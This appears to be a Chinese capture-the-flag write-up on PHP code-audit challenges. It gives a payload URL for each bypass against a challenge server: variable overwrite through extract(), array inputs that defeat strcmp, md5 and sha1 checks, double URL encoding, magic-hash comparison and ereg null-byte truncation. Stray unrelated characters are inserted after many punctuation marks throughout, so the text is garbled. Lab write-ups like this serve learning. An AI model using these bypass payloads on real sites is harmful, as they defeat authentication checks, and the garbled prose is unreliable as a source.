extract變量覆蓋
我們看到extract函數(shù)沒有設(shè)置extract_rules辟宗,而extract默認(rèn)的規(guī)則是如果有沖突則覆蓋掉已有的變量,因此我們可以構(gòu)造? 120.24.86.145:9009/1.php?shiyan=&flag=
還有另一種方法
看到file_get_contents函數(shù)蜀涨,我們可以通過php://input為其賦值
strcmp比較字符串
strcmp是比較字符串的函數(shù)承绸,構(gòu)造數(shù)組即可繞過
payload:120.24.86.145:9009/6.php?a[]=1
urldecode二次編碼繞過
解讀源碼
1、id不等于hackerDJ
2注整、傳入的id url解碼后等于hackerDJ
因為瀏覽器自身會對id解碼一次,所以我們只要傳入兩次url編碼后的hackerDJ即可
payload:120.24.86.145:9009/10.php?id=hacker%2544J
md5()函數(shù)
解讀源碼:
1度硝、username不等于password
2肿轨、md5(username) === md5(password)
因此0e開頭的字符串不能繞過了,但是我們可以構(gòu)造數(shù)組繞過
payload:120.24.86.145:9009/18.php?username[]=a&password[]=b
數(shù)組返回NULL繞過
ereg塘淑、strops是處理字符串的函數(shù)萝招,在處理數(shù)組時會返回null,即可繞過
payload: 120.24.86.145:9009/19.php?password[]=
弱類型整數(shù)大小比較繞過
is_numeric是檢測數(shù)字及數(shù)字字符串的存捺,因此我們只需要在我們傳進(jìn)去的數(shù)字后面加入非數(shù)字字符即可繞過
payload:?120.24.86.145:9009/22.php?password=1377a
sha()函數(shù)比較繞過
解讀源碼:
1槐沼、name不等于password
2、他們的sha1值相等
sha1不能處理數(shù)組捌治,因此構(gòu)造數(shù)組即可繞過
payload:?120.24.86.145:9009/7.php?name[]=1&password[]=2
md5加密相等繞過
常見的md5比較漏洞岗钩,就不多說了
payload:?120.24.86.145:9009/13.php?a=s878926199a
十六進(jìn)制與數(shù)字比較
ord()返回字符串首字母的ascii值,結(jié)合題目肖油,傳入3735929054的十六進(jìn)制即可getflag
payload:?http://120.24.86.145:9009/20.php?password=0xdeadc0de
變量覆蓋
這題和第一題一模一樣的兼吓,就不多說了,兩種方法任選一種都可以
ereg正則%00截斷
ereg存在%00漏洞森枪,因此這里可以用%00繞過视搏,而passowrd長的要小于8但是數(shù)值又要大于9999999,因此可以用科學(xué)計數(shù)法繞過
payload:http://120.24.86.145:9009/5.php?password=9e8%00*-*
strpos數(shù)組繞過
利用ereg和strops處理數(shù)組時的漏洞
payload: 120.24.86.145:9009/15.php?ctf[]=1
數(shù)字驗證正則繞過
preg_match('/^[[:graph:]]{12,}$/', $password) 即匹配password中除空格和tab鍵之外的字符12次以上县袱,那如果我們傳進(jìn)去的password長度小于12或者是數(shù)組的話浑娜,preg_match 返回的就是0,就能輸出flag
簡單的waf
要求傳入abcde式散,a中不能包含php筋遭,因此a不能用php://input來為其賦值了,但是可以通過遠(yuǎn)程文件包含來為其賦值,即在自己的服務(wù)器上寫一個txt文件漓滔,e可以用php://input來賦值编饺,然后就會看到返回hello admin
但是c和d不知道有什么作用,看到c中不能包含flag响驴,d不能包含base64透且,于是猜測題目可能存在flag.php之類的,需要通過d去讀然砝稹石蔗?嘗試訪問flag.php看到flag on my head,訪問flag畅形,發(fā)現(xiàn)會下載一個文件,里面說Please call admin to get flag诉探,令c=flag.php會觸發(fā)他的waf日熬,但是令c=Flag.php可以繞過,但是也沒有返回其他的東西肾胯,搖頭.gif不知道怎么操作了竖席,希望有大佬會的話帶帶我Orz
作者水平有限,若有錯誤請指出Orz